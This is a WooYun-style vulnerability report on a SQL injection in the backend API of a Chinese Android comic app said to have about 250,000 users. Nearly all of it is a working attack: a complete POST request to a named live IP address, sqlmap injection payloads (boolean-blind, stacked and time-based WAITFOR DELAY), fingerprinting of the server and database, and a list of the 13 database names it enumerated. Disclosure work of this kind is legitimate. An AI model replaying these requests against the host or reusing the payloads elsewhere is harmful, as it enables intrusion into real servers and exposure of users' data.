WooYun.org

内酷漫画安卓APPSQL注入漏洞20多万用户信息告急
百度手机应用搜索下载，显示目前已经有25万用户！
内酷漫画APP：
POST /comic/comicinterfacetwo.asmx/GetProList HTTP/1.1
Content-Length: 71
Content-Type: application/x-www-form-urlencoded
Host: 219.133.59.94
Connection: Keep-Alive
User-Agent: android-async-http/1.4.3 (http://loopj.com/android-async-http)
Accept-Encoding: gzip
Version=1.0¤tPage=1&strWhere=ishot%3D1&pageSize=-1&osType=android
strWhere参数存在注入;

[18:20:40] [INFO] resuming back-end DBMS 'microsoft sql server'
[18:20:40] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: strWhere
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Version=1.0&currentPage=1&strWhere=ishot=1 AND 3132=3132&pageSize=-1&osType=android
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Version=1.0&currentPage=1&strWhere=ishot=1; WAITFOR DELAY '0:0:5'--&pageSize=-1&osType=android
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Version=1.0&currentPage=1&strWhere=ishot=1 WAITFOR DELAY '0:0:5'--&pageSize=-1&osType=android
---
[18:20:40] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[18:20:40] [INFO] fetching database names
[18:20:40] [INFO] fetching number of databases
[18:20:40] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data re
[18:20:40] [INFO] retrieved: 13
[18:20:44] [INFO] retrieved: android_mrvideo
[18:21:34] [INFO] retrieved: bigpear_db
[18:22:07] [INFO] retrieved: comic_db
[18:22:34] [INFO] retrieved: comic_db_208
[18:23:13] [INFO] retrieved: MakeVideoData
[18:23:53] [INFO] retrieved: MashiMaro
[18:24:25] [INFO] retrieved: master
[18:24:54] [INFO] retrieved: model
[18:25:13] [INFO] retrieved: msdb
[18:25:28] [INFO] retrieved: OpenFireServer
[18:26:17] [INFO] retrieved: ReportServer
[18:27:01] [INFO] retrieved: ReportServerTempDB
[18:28:08] [INFO] retrieved: tempdb
available databases [13]:
[*] android_mrvideo
[*] bigpear_db
[*] comic_db
[*] comic_db_208
[*] MakeVideoData
[*] MashiMaro
[*] master
[*] model
[*] msdb
[*] OpenFireServer
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb